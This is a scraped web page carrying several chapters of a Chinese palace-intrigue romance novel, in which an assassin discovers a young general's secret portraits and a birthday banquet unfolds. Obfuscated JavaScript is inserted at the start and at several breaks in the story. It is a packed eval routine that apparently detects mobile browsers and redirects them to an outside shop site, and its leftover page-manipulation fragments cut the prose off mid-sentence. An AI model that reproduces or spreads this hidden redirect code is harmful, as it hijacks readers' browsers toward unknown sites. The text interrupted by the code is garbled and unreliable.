;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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正欲抱怨定价不公，时鸿忽然意识到，面前林公子正是望春楼大掌柜！当面说人家定价不公，岂非打脸？ 时鸿收了话头，带着几分尴尬，额上急出几分汗水。 宁鸾见时鸿此般作态，心中了然一笑。 她余光一瞟，见青霜青露二人正倚在七楼向下观望。青霜神情冷然，暗里却红了耳垂，扭过脸去不愿再看。青露不知内情，见小姐望向她们，偏头等待着指示。 宁鸾心底顿时跟那明镜似的。那日时鸿来拿剑，青霜便对他脸色不佳，今日更是不愿看到时鸿，眼下定是不想暴露身份的。 思索至此，宁鸾一挥折扇，压低嗓音冷淡道：“望春楼做生意，向来童叟无欺。这位黑衣侠客的情报，确实值这个价。” 时鸿连声称是，望春楼有口皆碑。 “既然价目无问题，那时将军在楼中自娱便是，在下告辞。”宁鸾收扇转身，就欲离去。 “林、林公子！”见宁鸾转身要走，时鸿连忙叫住，见周围人朝他看过来，他慌忙捂住嘴。 宁鸾心道，这个莽汉，怎么每次都在背后叫人。 “七日后是我生辰，将军府设宴邀请宾客同乐。……今日我来得匆忙，未带上邀请的信函，届时可请……请林公子赏脸出席吗？” 时鸿压低声音，一句话卡顿了几次，磕磕巴巴差点咬到舌头，话音还未落，两个耳朵竟又是红了个彻底。 真正说完后，他恨不得当场找个地缝钻进去。这般没有诚意的邀约，林公子定是不会参加。 但……他还是期待地望向了宁鸾，期待着她的答复。 14. 玲珑双璧 “我们还会再见面的。” 宁鸾从容转身，衣摆扬起，逐渐隐没在向下的雕花楼梯后。 时鸿深吸一口气，只觉周遭飘过一阵若有若无的冷香，待他再要细闻，却已然消散得无影无踪了。 青霜倚在七层的悬空露台上，看着时鸿这呆愣模样，胸口猛然腾起一股无名之气来。 她提手紧攥腰间佩剑，强行按捺翻涌的情绪。见时鸿要离开，她拍了拍青露的肩，表示自己有事，随即便默不作声奔向楼外。 轻车熟路地避开侍卫，青霜先时鸿一步回到将军府。 她足尖轻点，身轻如燕掠上屋檐，正拨开瓦片轻盈落在横梁，却见那往常的落脚地多出一物。 青霜一惊，向后猛退几步，险些踩空坠落。 是暗器？！ 她绷紧神经，定神细看。那横梁正中静置着个巴掌大的小玉罐，在如此阴暗之处也折射出莹润光泽。 青霜上前，小心捧起翻看，那玉罐触手温润，内盛着莹白膏体。凑近一闻，草木清香扑鼻而来，沁人心脾，是上好的祛疤药膏。 那罐底还压着张字条，青霜摸起来一看，那字体竟还算端正稳当，上书： “御用白玉凝脂膏，专治烫伤擦伤，聊表救命之恩，愿博君一笑。” 青霜心思微动，将字条收入怀中，目光打量着屋内。 那时鸿虽武艺超绝，力能扛鼎，但这些日子观察下来，他的轻功连三流都算不上，连高点的院墙都攀不过去，更何况这高悬的横梁。 稍加探寻，果然见侧殿墙角中，一架可伸缩的竹梯静静倚靠墙面。 想象着时鸿五大三粗的个子，深夜里还拖着伤体，笨拙爬这脆弱的竹梯，青霜不禁唇角微勾。 那白玉凝脂膏也被她妥帖放入怀中。 可是此后数日，时鸿举止愈发古怪，多次神色诡异，似有沉沉心事。 这位向来磊落的小将军，一面明目张胆进出床底的暗室，俨然把“我有秘密”刻在头上，一面又常在窗前廊中长吁短叹，连平日里总不离手的青锋剑都弃置一旁。 堂堂八尺精壮男儿，竟整日愁眉不展，活像个深宫怨妇般垂头丧气。 青霜稍加思索，若真有妃嫔生得如此健硕敦实，只怕皇上当夜便会将她发配冷宫。 这日清晨，装病多日的时鸿小将军终究拗不过自家老父，起了个大早，不情不愿地换上朝服，入宫面圣。 青霜望着他远去的背影，心知探查暗室的时机终于到了。 尽管因上次遇刺一事，将军府内外已增派重兵把守，但青霜经验老道，轻功超绝，依旧在府内进退自如，如入无人之境。 她指尖抚上那山海经异兽的独角，却发现时鸿给暗门换了机关。 可惜这小将军自以为高明，凭着换位置就能拦住青霜。实则不过是将暗门机关从异兽头上，换到爪子肉团中。换汤不换药，毫无新意。 青霜潜入暗室当中，室内伸手不见五指，一片漆黑。想来时鸿自知今日难逃早朝，索性连灯烛都未点上。 青霜看不见四周，也不敢贸然点燃火折子，怕擦出的火花不慎引燃地底杂物，反倒得不偿失。 她在原地静立片刻，待双眼逐渐适应黑暗，才勉强能辨清周遭物体的模糊轮廓。 暗室内陈设未变，唯独那张木桌上堆满了纸卷与散乱的笔墨。她向前看去，这大概就是这几日时鸿情绪不稳的根源。 她早该想到的。 那日望春楼相遇，时鸿几笔勾勒的黑衣人她惊鸿一瞥，自知画的是那日屋檐上发出银针的自己。 可后来又到将军府，却始终未见作画所用的笔墨之物，原以为是被他收了起来，不曾想竟藏在这暗室当中。 时间还算充裕，青霜缓步走到桌前，拾起一张纸卷，徐徐展开。 那纸面上画的不是别人，赫然是身着男装，带着银色面具的宁鸾！ 只见画中人身姿翩然若鹤，持一柄骨扇而立，雕刻青鸾的面具下眸光流转，唇角若有若无带着笑意。 那画中面具纹路纤毫毕现，精致尾羽用朱砂细细点染，流畅飞扬至鬓中，勾勒一抹温柔的弧度。 画中人物身旁，还待着把细长修雅的剑，更衬得他气质卓然，清贵难言。 作画之人，定是倾注了全部心神，每一笔涂抹、每一处勾勒，都隐含着画者难以言喻的心愫。 青霜指尖轻颤，心中涌起一股难以言说的滋味，像是望春楼的大厨子失手打翻了调料瓶，将汤里的酸甜苦辣胡乱翻搅上来。 她轻轻抚摸着画上的人影，终于明白了时鸿的心思。 难怪他在府中总是心不在焉，难怪那日望春楼重逢，他在宁鸾面前会是那般局促模样。 青霜自嘲苦笑，她早知一切不过是镜花水月，一厢情愿。 却不想，真相竟来得那么急，那么快，那么猝不及防。 多年来，望春楼是她最眷恋的家。 为了守护这份恩情，她甘愿做宁鸾手中最锋利的剑，做妹妹身前最坚实的盾。 她杀过无数人，也护过无数人。 腥风血雨里，她自愿镶上冷漠的面具，铸就冰冷的铠甲，只为在这乱世中谋取一线生机。 若非当年林夫人出手救助，她和妹妹要么饿死街头，要么沦为京州贵族的玩物，一辈子仰人鼻息。 林夫人给了她们生存的机会，也给了她们选择的权利。 青霜从不后悔自己选择的道路，为望春楼出生入死，既是还报恩情，亦是自我救赎。 唯有被楼中需要着，她才感受到作为“人”的真正价值。 年复一年，日复一日。冰冷的面具已经揉进骨血里，融化进了血液，成为她名字的一部分。 她自以为习惯独自行走于刀剑火海，习惯捂住伤口咬牙前行。 直至遇见时鸿。 那房顶上的滚烫烧鸡，那望春楼的天价情报，那横梁上的白玉凝脂膏。 他的笨拙和直率，让她第一次从楼外之人身上感受到了存在的意义，仿佛天地万物都不必挂怀，眼中只需装入一人。 为一人笑，为一人哭，奋不顾身，只为那一人负剑前行。 那日为他挡下的伤，真的全是为了望春楼的任务吗？那些日夜梁上相守的默契与陪伴，真的不曾动摇她的内心吗？ 青霜放下手中的画卷，再也无法欺骗自己。 她翻看桌上一张又一张的画像，笑着的、冷漠的、算计的、高贵的，几乎每一幅都是宁鸾带着面具的模样，旁边也都配着时鸿的剑。 直到最后几张—— 她苦笑着展开最后几张画，这几张画格外与众不同，纸面泛着毛边，墨迹甚至有些模糊，显然被人拿在手中，反复摩挲过无数次了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576074|187118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那是她的画像。 画中的她，如腰间黑剑一般凌厉果断。 她一身黑衣，独立房檐之上，一手持着银针，一手抚上黑剑，头顶蒙着的黑色面纱，在风中微微扬起。 在月色中，显得孤单冷寂。 正是那日她冒险救下时鸿的瞬间。 也是前几日，时鸿拿去望春楼珍宝阁，试图以重金求问情报的那几张画。 青霜死死攥着这幅画像，压抑的笑声在暗室中回响。她笑得越来越放纵，越来越沉痛，笑到肩头发颤，仿佛要将筑起的束缚和坚强，全部在此土崩瓦解。 笑声回荡在狭窄的暗室里，平白多了几分空旷和无助。 终于，青霜扬起脸庞，隔着黑纱拭去眼角湿意，神色归于冰冷，仿佛刚才一切都与她无关。 她将最上方那张黑衣画像收入怀中，纵身离开暗室。 趁着时鸿尚未回府，她轻功点地，径直奔回望春楼。不过多时，密信和暗探同时离开望春楼，各自奔赴前方。 …… 夜幕已至，望春楼灯火依次亮起，笙歌笑语自楼下传出，衬得顶楼这方天地静得渗人。 青霜独坐案前，一盏孤灯剪出她修长的影，四周无人侍立，漆黑一片。墨笔在纸上游走，将纷杂的情报和事件梳理成章。 忽闻楼下丝竹之声，是近来京州时兴的《亭台落》，歌女婉转的嗓音凄美悠长，宾客们一派喧闹，隐约可闻推杯换盏之声。 “叩叩叩……” 敲门声轻轻响起，几乎要被欢声浪潮淹没。 “进来。”青霜并未抬头，只当是夜里的密报，“放桌上吧，辛苦了。” 绿色长裙身影闻言，轻声合上门扉。 “姐姐……” 那熟悉的呼唤中，隐含着满满的担忧。 “青露？”青霜笔尖一顿，抬眼神色惊讶。“怎么这么晚过来，主子那边出了什么事吗？” 话音未落，青露再也抑制不住情感，几步绕过桌案，猛然扑入青霜怀中。她像幼时那般，将脸埋进姐姐肩头，发间散发出淡淡的茉莉香。 青霜回抱住她，抬手轻抚发顶，神色中是自己都未觉察的温柔。 案上灯盏映出橙黄的烛光，为姐妹俩镀上一层暖色的光晕。 “小姐……小姐那边没事。”青露声音发颤，“但听闻姐姐主动请辞了任务……” 她眼神放空，手指无意识攥紧了姐姐的衣袍，喃喃道：“这是从未有过的事，小姐本也担心，想同我一起来，只是府上有事，一时脱不开身。” “我实在等不得了，姐姐你什么都不告诉我……” 一滴温热落在手背，青霜才发现妹妹眼中早已蓄满泪水，她抬手抚去青露脸上的泪花，一时间动容得说不出话。 “姐姐，我是不是又给你添麻烦了？” “傻丫头。”青霜微微摇头，她捧起青露的脸，眼神中带着明媚的光。“你从未是我的麻烦。正因有了你，才有今日的我。” 窗外月色正好，楼下换了乐声，奏起一曲欢快的小调。 青霜挽起妹妹鬓边散落的发丝，轻声道：“不急的话，想听个故事吗？” 青露猛猛点头，将泪水撒娇似的蹭到姐姐身上。 桌上的灯盏放出微光，勾勒姐妹二人依偎的身影。 而今夜，她们的时间还有很长、很长。 15. 你最有趣 时鸿的寿宴如期而至。 程慎之作为朝中新贵，又是曾与时鸿并肩作战的同僚，镇南王府自是收到了请帖。 宴会当日，程慎之携身旁最得力的幕僚张回一同赴宴，宁鸾则带了青露随行。二人按宴会规制梳洗打扮，乘车前往将军府。 将军府历经三朝，占地广阔，布局规整。青石板制的厚重院墙将四周团团围住，整个院落既有武将雄伟刚劲之风，又有世家恢弘大气之感。 进到府中，只见府内张灯结彩，修剪齐整的枝桠间缀满彩绢灯球，流光溢彩。 “这大将军为了给时鸿铺路，真是煞费苦心。” 府内布局大开大合，不似寻常府邸摆香炉，悬纱幔，反倒是箭靶、武器架等物随处可见，布景也多用假山巨石、丛林灌木。沿路径走下去，桩头盆景依次排开，别有一股生硬的园林风范。 程慎之与宁鸾信步同游，走了一会儿，便在游廊拐角处寻了个僻静小亭，落座稍作休整。 这凉亭藏得极为隐蔽，周围绿树高低错落，唯有一条狭窄的回廊与外界相通，倒是这板□□邸里难得一见的婉约景致。 “仿佛从前，也曾在御花园的凉亭里，与你像今日这般消磨时光。”宁鸾托腮看向程慎之，眉目含笑。 “不过那时你手不释卷，不是在尚书房念书，就是回房临帖。每回我来寻你，怕是都被嫌聒噪得很。” 话音未落，宁鸾自己倒先轻笑出声，仿佛在缅怀当初一无所知，无忧无虑的年岁。 程慎之闻言微微一滞，眼底闪过一丝痛色。 “抱歉，那时候，我满心只想离开。”像是躲避着什么，程慎之暗自垂眸，嘴角自嘲一笑。 “我想离开那个四四方方，白骨累累的皇宫，想回到南部，在平原上自由驰骋。可父亲年迈，长兄为国殉身，二哥才娶了妻，嫂嫂又正怀身孕，唯有我……” 他喉结滚动，似乎说得有些艰难，“唯有我留在宫中，才是牵制南部最合适的那枚棋子。” 宁鸾沉默不语。 她想起幼时的自己，曾像只不知收敛的红雀，仗着母亲的宠爱，扑棱着尚且稚嫩的翅膀四处闯祸。 那时的她，确实不知天高地厚。 可是现在，最疼爱她的娘亲……已经不在了。 而父亲宁丞相看她的眼神，如同打量一件高雅却冰冷的瓷器，冷静地估量着她的价值，只让她觉得脊背生寒。 眼中掠过些许落寞，宁鸾莞尔一笑，她早已不是那个受委屈后，抱着娘亲哭一夜的孩子，而是羽翼渐丰、蓄势待发的青鸾，终有一日要振翅九天。 “现在想来，那时的你，在我眼里确是与他人都不同。”宁鸾略加思索，目光清亮地迎上程慎之的视线。 “太子殿下陪我玩闹，给我打首饰，其他皇子也多给我献殷勤，可那时我心中唯有不安。” “不过是眼红丞相府的权势罢了。”宁鸾撇去茶中浮沫，冷然一笑道：“丞相府得圣心，他们便与我亲近；丞相府遭忌惮，他们便与我疏远。” 随即，她又像是想起什么有趣的事，突然露出一个真切的笑容。 “唯有你，总是不爱理我，终日坐在那儿，像个千年老树桩成精。若非顶着一个世子名头，我当真以为你是进宫来参禅修行的。比起那些心思各异的皇亲贵胄，你这般模样，反倒有趣极了。” 原来，她当年是这般看他的。 被称为“老树成精”的程慎之，耳尖悄然泛红。他未曾想过，时隔多年，竟会从她口中再听闻这般评价。 在程慎之记忆中，太子风度翩翩，一表人才，虽性子较真，但总是妙语连珠，逗宁鸾开怀。 他有趣。 四皇子咋咋呼呼，活泼张扬，最会哄女眷欢心，若他在的地方，总是一片莺歌燕语，笑语盈盈。 他有趣。 而如今她却说，那个沉默寡言的安南王世子程慎之，在她眼中，竟也同样“有趣极了”。 程慎之揉了揉微红的耳廓，掩饰窘态强作镇定，强作镇定道： “那时……长兄刚刚殉国，天家惶恐，怕我父亲安南王就此发难，连夜召我们上下老小进京，名为安抚，实为软禁。” 他压下激荡的情绪，无意识摩挲着手里的茶杯，自嘲冷笑，“后来边境冲突不断，圣上觉得南部不能无人镇守，这才放了父亲和二哥回去。独独留我入宫，名为陪伴太后抄经颂文。” “那时的你天真明媚，尚书房许多皇子贵族被你打动，为你倾心，明里暗里都想娶你过门。” 程慎之抬眼，一字一句道：“可我……从不敢贸然靠近你。况且……” “况且安南王世子程慎之，并不喜欢我这样被娇宠坏了的世家小姐。” 宁鸾接过话头，荡漾的眼波清澈明净，“你总是这样一板一眼。” 程慎之心中泛起一抹苦涩，这确是他当年亲口所言，辩无再辩。 他几度欲言，最终抚上胸口，指尖触及贴身佩戴的寒髓玉佩，缓声道：“有没有可能……我们将那些话，都忘掉？” 宁鸾眉眼轻挑，坦然迎上他的目光，从容应道： “镇南王说过哪些话，我早已不记得了。我只知，安南王现被圣上拆分两脉，镇南王现下所背负的，只会比过往更加沉重，还请您慎言罢。” 微风吹过，树叶摩擦发出沙沙的声响。不远处隐隐传来丝竹管弦之声，更显得这一方亭中落针可闻。 “阿鸾，我……” “王爷！” 程慎之话音未落，忽见本应在亭外廊中守着的幕僚张回，脚步急促走入亭中。 “禀王爷，大将军时厉东派人传话来请，想与王爷进书房单独一叙。”张回俯身行礼，将侍从传来的话如实转达。 “慎之。”宁鸾扬起明媚的笑脸，“我们之间的事之后再说，今日既在将军府作客，自是以大将军为敬。” “阿鸾，等我回来，我们好好谈谈。” “别让大将军久等了。”宁鸾笑靥如花，轻轻对他扬手。 程慎之无奈起身，深深看了一眼宁鸾，随张回一同离开小亭。 宁鸾在亭中坐了许久，她无意识地摩挲杯沿，想着程慎之未尽的话语。杯中茶水逐渐凉透，宁鸾将茶盏放在石桌上，发出清脆的碰撞声。 她起身走向亭外等候的青露，两人皆是不语，一同在将军府中游逛。穿过狭长的游廊，沿着蜿蜒的小路缓步前行。假山精心堆成月牙形拱门的形状，前面便是将军府的后花园。 “小姐，您快瞧，那好似有一人在那！” 青露压低声音，举着手帕指向后花园。 宁鸾顺着她的视线看去，只见眼前一片生机盎然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576075|187118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 花园四周遍植翠竹梧桐，南面一角寒潭半绕，其间流水潺潺，藻荇交错，竟是引进的一汪活水。与水潭对角的，则是一片略显突兀的假山巨石堆，各种石料错落排布，圈出一片空地来，里面砂石铺地，正是习武练剑的好地方。 而花园正中，生长着一棵巨大的蓝花楹树。灰褐色的树干高耸入云，树顶绿叶穿插间，大片蓝紫色花朵在阳光下层层叠叠，如梦似幻，像是一片紫色祥云笼罩在花园上空。 树下，一位公子手扶树干，微微仰头，望向这一蓬随风跳动的蓝色火焰。 宁鸾定神一看，那人竟是今日宴席的主角时鸿。 “竟然躲在这。”宁鸾低声嘀咕，正欲转身避嫌。正巧那时鸿若有所感，转过身来，与宁鸾对视了个正着。 这下离开似乎更显尴尬，宁鸾索性走上前去，隔着距离盈盈拜礼，称颂道： “还未贺时将军生辰之喜，时将军出身将门，韬略在胸，天佑英才，定能建功立业，鹏程万里。” 时鸿看清宁鸾的脸庞，怔愣一瞬，家风和教养让他迅速回过神来，赶忙还上一礼，两人在树下站定。 今日的时鸿特意装扮过，外穿暗红蝙蝠纹长锦袍，通身质感流畅，其间一条金镶白玉腰带，一眼便知价值不菲。 倒是比平日不修边幅的模样，多了几分世家公子的矜贵来。 “时将军是今日寿星，怎会独自一人在此徘徊？”眼见气氛凝固，宁鸾笑着打破宁静。她缓步走上前去，伸手抚摸蓝花楹粗糙的树干，又微偏头看向时鸿的脸。 “不怕王妃笑话，前厅宾客众多，我应付吃力，在这儿来偷个清闲，也想……等待一人。不想遇见了王妃。”时鸿后退一步，喉结上下滚动： “上次之事是在下眼拙，竟将王妃错认他人，多……多有冒犯，还请王妃多多包涵。” 时鸿憋得耳根通红，他一边说着，他猛然抱拳。 “等待一人？”宁鸾不想听他一直道歉，玩笑道，“时将军这是有了心上人？” “不不不不是！”那时鸿更是羞红了脸，重重俯身，恨不得将身体跟这树根一道埋进土中，“他是男子……是那望春楼的贵客，我不知他是否会来。” 时鸿满脸沮丧，今日已到的宾客名单他细细读过，并无像是林公子之人。 宁鸾正欲开口，没想到异变横生。 时鸿意外遇见宁鸾，仍觉她的身姿似乎与心中的神秘身影合二为一，心中本就紧张心虚。 今日，他又难得穿了一身长袍锦带的礼制正装，起身时一个没注意，前摆被自身踩个正着，顿时失了平衡，整个人向前扑去！ “小……小姐！”青露站得稍远，眼见此情此景，捂嘴惊呼。 宁鸾亦是被他一惊，侧身避开的同时，指尖扣紧了袖中银针。 只见那时鸿缓住身形，双手死死抵住深褐色的树干表层，双腿蹬地，面目狰狞，总算勉强稳住。 “时小将军血气方刚，这未免有些太冒犯了。”宁鸾站在一旁冷言道。 “抱、抱歉！”时鸿松了口气，手上却突然一滑失了力道，欲哭无泪的大脸，结结实实撞上粗糙的树皮，惊起树上一片鸦雀。 “痛……” “阿鸾？” 程慎之掺着冰碴的声音，恰在此时从后花园入口处传来。 16. 生辰赴宴 “镇镇镇……镇南王爷！” 时鸿慌忙后退转身，额角浸出细密的汗珠。他偷抬眼瞥见程慎之不悦的面色，瞬间只觉如坠冰窖。 完了完了完了！ 怎么每次不小心冒犯到王妃，都恰巧被镇南王抓个正着啊？！ “你们，这是在做什么？” 程慎之话音未落，已大步流星走到几人身边。广袖翻飞间，他隔着袖子扣住宁鸾纤细的手腕，微一用力将她拉到身前。 “不过是与今日的寿星赏花罢了。”宁鸾感受到腕间传来的力度，从容抬眸迎上程慎之的目光。 看见他眼底的暗涌，宁鸾了然。 泥人尚有三分火气，更何况战场归来杀伐决断的程慎之。 “是是是，正是如此。”时鸿见宁鸾解围，顿时如蒙大赦。他擦了一把额上滴落的汗珠，忙拱手解释道： “末将与王妃巧遇，被这蓝花楹迷了眼，一时不慎冒犯王妃，此外绝无他意……” 程慎之冷哼一声，锋利目光如刀一般划向时鸿，又看向那生机盎然的蓝花楹。 “小将军自重。”他冷漠说完，攥着宁鸾手腕转身离去。 待出了后花园，转过回廊，宁鸾轻轻一动，便挣开钳制。 “何苦吓他呢，其实你早将前因后果看清了吧。”她揉着微微泛红的手腕，忽然轻笑出声。 从怀里取出绢帕，宁鸾慢条斯理地擦着手，缓缓道：“这下，他怕是整场宴席都坐立不安了。” “你喜欢那种不着调的蠢笨小子？”程慎之猛然转身，腰间玉佩撞上腰带发出清脆声响。 他漆黑的眸子直看向宁鸾眼底，里面像是燃着炙热的火焰，要将人活活烧穿。 宁鸾擦着指尖，闻言笑意微敛。“我看向谁，我喜欢谁……似乎都与王爷无关。” “若是王爷已经迫不及待想休掉我，迎娶白姑娘进门，也不妨再等些时日。” “毕竟她身为异族，身份敏感。”宁鸾将手帕递给身后跟着的青露，“若是当下大张旗鼓操办，恐怕会……” “我不会娶她。”程慎之出言打断，字字掷地有声。 他仰头深吸一口气，又看着宁鸾平缓开口，“阿鸾，你不必在意她，她的事，我另有安排。” 宁鸾挑眉看向程慎之，倒是多了几分意外。 她并非不知坊间流言，那些话沸沸扬扬，传得像模像样，连望春楼都收集到程慎之对白挽有意的情报，她也下意识作此推断。 毕竟除了他们还没闹僵之时，她还从未见过程慎之对谁如此上心。更别说除去异族身份，白挽似乎处处都符合程慎之的期许。 远处传来开宴席的锣鼓声，宾客们陆陆续续进入正厅。 “走吧。”程慎之嘴唇绷成直线，犹豫着向宁鸾伸出掌心，“该入席了。” 宁鸾垂眸看向那只骨节分明的手，心中了然。 外界传言纷纷，场面上的功夫却不得不做。此刻亡羊补牢，正是营造恩爱形象的好时机。 她抬手，轻轻搭进程慎之的掌心。那掌心像是燃着碳火般炽热，惊得她指尖下意识一颤。 程慎之却已不由分说地收拢掌心，将她微凉的指尖牢牢裹住。 他从未如此感激将军府的广阔，连这曲折的回廊也仿佛没了尽头，让他可以名正言顺地牵着她，一路走下去。 可惜，将军府占地再广，也终是一座府邸。程慎之走得再慢，也终究到了席前。 两人按照排序入座，紧握的手也随之松开。 程慎之眼眸微垂，看向空空如也的手心。那掌中还残留着她指尖的温度，袖口似乎也萦绕着一缕清冷的竹香。 不过被浓烈的酒菜香气一熏，不过多时也便散尽了。 …… 宁鸾端坐席间，指尖轻抚杯沿，不动声色打量着满座宾客。 转眼已是三年。 自从程慎之披甲出征，她便以此为由，谢绝了所有的宴请往来。如今再见这推杯换盏，竟是有恍如隔世之感。 当年簪花玩闹的贵女们，如今或嫁做人妇，或在她几番起落后，早就形同陌路了。 她也早不似当年。 从天真明媚，到满心筹谋，仿佛就在一瞬之间。 烈酒入喉，灼烧伴着辛辣钻入喉咙，一路燃起烈火蔓延至五脏六腑。如此烈酒，却压不住她心底翻滚的恨意。 幸亏今日的宴席，丞相府并未派人前来。否则，她怕旧景重现，她会忍不住做出冲动之事。 这燃烧的恨意烤干她的泪水，锻造出锋利的宝剑，伺机刺向她最恨的人。 程慎之见她脸色不佳，也执壶自斟，满饮一杯，“大将军时厉东喜好美酒，尤其是边境烈酒。”他把玩手中空杯，似是自言自语。 “凡是家中设宴，必掺高粱精酿，浓烈无比，整个京州只此一家。” 随即，他吩咐了小厮，抬手为宁鸾推去杯蜜糖水。 “酿酒过程中似乎还掺了小麦和糯米，你平日喝酒甚少，若不习惯，也可加些蜜糖解酒。” 宁鸾正是沉浸在往事之中，满心苦涩。 她接过那蜜糖水，顺势啜饮一口，温和细腻的桂花蜜水冲淡了喉中的炽热，缓和了她翻滚不止的思绪。 打起精神来，宁鸾终于露出一个笑意。“多谢你。” 这些年她暗中经营望春楼，培植势力，勉强算是在京州有了立足之地。 待他日时机成熟，这桩御赐婚事也可好聚好散，与丞相府做个了断，便可彻底斩断这些年的恩怨纠葛…… 宁鸾微一挑眉，扭头看向盯着她的程慎之。 程慎之慌乱一瞬，撇开视线。 他不知宁鸾为何突然情绪不佳，但见她眼中冰雪消融，竟也跟着长出口气。 宴席开场，大将军时厉东带着时鸿步入正厅。 厅中宾客皆是锦缎戎装，按品分列两侧就坐。席间更是觥筹交错，推杯换盏，武将文臣谈笑自若。 众人往来间，忽闻丝竹之声铿锵，循声望去，只见帷幕中八名乐师手持各色乐器，激扬奏起《将军令》。 随着鼓点节奏，十余名精壮男儿鱼贯而入，他们身穿玄色短打劲装，下着铁靴踏地，随歌而舞，势若惊雷。 程慎之与宁鸾坐在席间，侍从侍女随侍身后。 宁鸾见多了柔美舞姿，还并未见过这般阳刚壮阔的舞蹈，一时间看得入神。 一旁的程慎之心不在焉，他见宁鸾兴致勃勃，甚至放杯停箸，手撑脸颊，细细打量着领舞之人，只恨恨咬碎一口钢牙。匆忙应付完敬酒之人，他状若无意喊道： “阿鸾。” “嗯？”宁鸾并未看他，用鼻音发出疑问。 “没什么。”程慎之脑中飞转，迅速思索。“你想不想知道，时大将军方才请我去书房，所为何事？” 这下宁鸾起了兴致，对于未知的情报，她一向很感兴趣。 虽然就算程慎之今日不讲，明日一早，将军府书房内的谈话内容， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576076|187118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也会齐整放在望春楼案几上。 若是事关重大，更会有密报当晚传至镇南王府。 但程慎之的主动告知，终究是不一样的。 “大将军与你说了什么？”宁鸾扭头与程慎之对视。 她刚抿过几口烈酒，热气熏得脸颊微红，一双小鹿般的圆眼清澈透亮，里面像是藏了满捧星光。 程慎之面色沉稳，拿杯的手却微动，眼前的宁鸾，让他想起那些年的懵懂情怀。 那是年少的一见倾心，是黑暗中的惊鸿一瞥，是风雪日夜里，尚书房苦读的期许等待，是阴差阳错得知秘密……换来的辜负真心。 如今的宁鸾，早已不是当初的童真稚子。 这次回京后，宁鸾内外更加端庄沉静，三言两句便可将偌大府邸打理得井井有条。 但掩藏在贤良淑德之下的，是程慎之都看不透的运筹帷幄。 那些岁月的天真烂漫，终究是被痛苦磨平了棱角。 他无法抚慰过去她的伤痛，只能看着他最珍爱的金色蝴蝶，随风渐行渐远，青云直上。 “大将军说……”程慎之微微侧身，声音压得极低，温热的吐息拂过宁鸾耳畔。 “说圣上如今极其宠爱曜妃，就是那日宫宴中，异族奉上的那名金发女子，沙蔓·阿尔达。” 他一边说着，一边以指腹沾酒，在桌案上写下一个“曜”字。 “圣上已连续三日未曾上朝，对外称病休息调养。可实际上，六宫粉黛无颜色，日日醉卧温柔乡。” 见宁鸾脸上难得露出微妙的表情，程慎之继续说，“昨日，大将军忧心圣体康建，持金牌特令进宫探望。”他抬眼搜过四周，声音又低沉几分： “不想，见到圣上半醉卧于御花园凉亭中，旁边曜妃一身异族打扮，正为圣上指尖涂抹蔻丹。” “蔻丹？！” 宁鸾自知声音过大，忙掏出手帕捂唇。她学着程慎之打量过四周，压低声音问：“你说的是……女子染甲所用的蔻丹？” “正是。” 程慎之正色道：“据说，圣上对此引以为荣，请大将军上前几步，品鉴指甲色泽。时大将军一介武夫，自是不懂这些，胡乱答了几句便被圣上请出宫了。” 坐在座位上，宁鸾扭头看向青露甲上新染的玫瑰色蔻丹，心情无比复杂。 青露见小姐看她，侧头眨眼微笑：“嗯？？” 宁鸾：…… 回忆起年过五旬的圣上那略显苍老的脸庞，宁鸾自知见识还是浅薄了些。 “所以说，大将军是找你商议此事？”宁鸾收回思绪，垂眸思考正事，“你和时鸿小将军同为征战异族的将领，彼此应当更能领会对异族的仇视之情。” “并非如此。”程慎之提壶，为宁鸾满上蜜糖水，微微摇头道： “时厉东将时鸿保护得太好，时鸿并不知此事。近来圣上无心朝政，宫中无朝可上，臣子非诏不得进宫。大将军一则想让我以亲王身份进宫探视，探查那曜妃的底细。二则……” “镇……镇南王爷！时鸿敬您一杯！” 时鸿在他爹时厉东的眼刀下，像个鸡崽子似的被赶过来，弯腰埋头对程慎之敬酒，举杯的手疯狂发抖。 天知道他有多害怕！ 镇南王回京还没两月，已经得罪他和他的王妃好几次了！ 若不是他爹耳提面命，一定要他和镇南王攀扯关系，他看着程慎之都想绕道走。 这个杀神实在是太可怕了！ 17. 蜜糖砒霜 并没有让时鸿难堪，程慎之和宁鸾起身，一同回敬他。几轮场面话过后，时鸿抬手，猛擦一把额上汗珠，整个人这才放松了些。 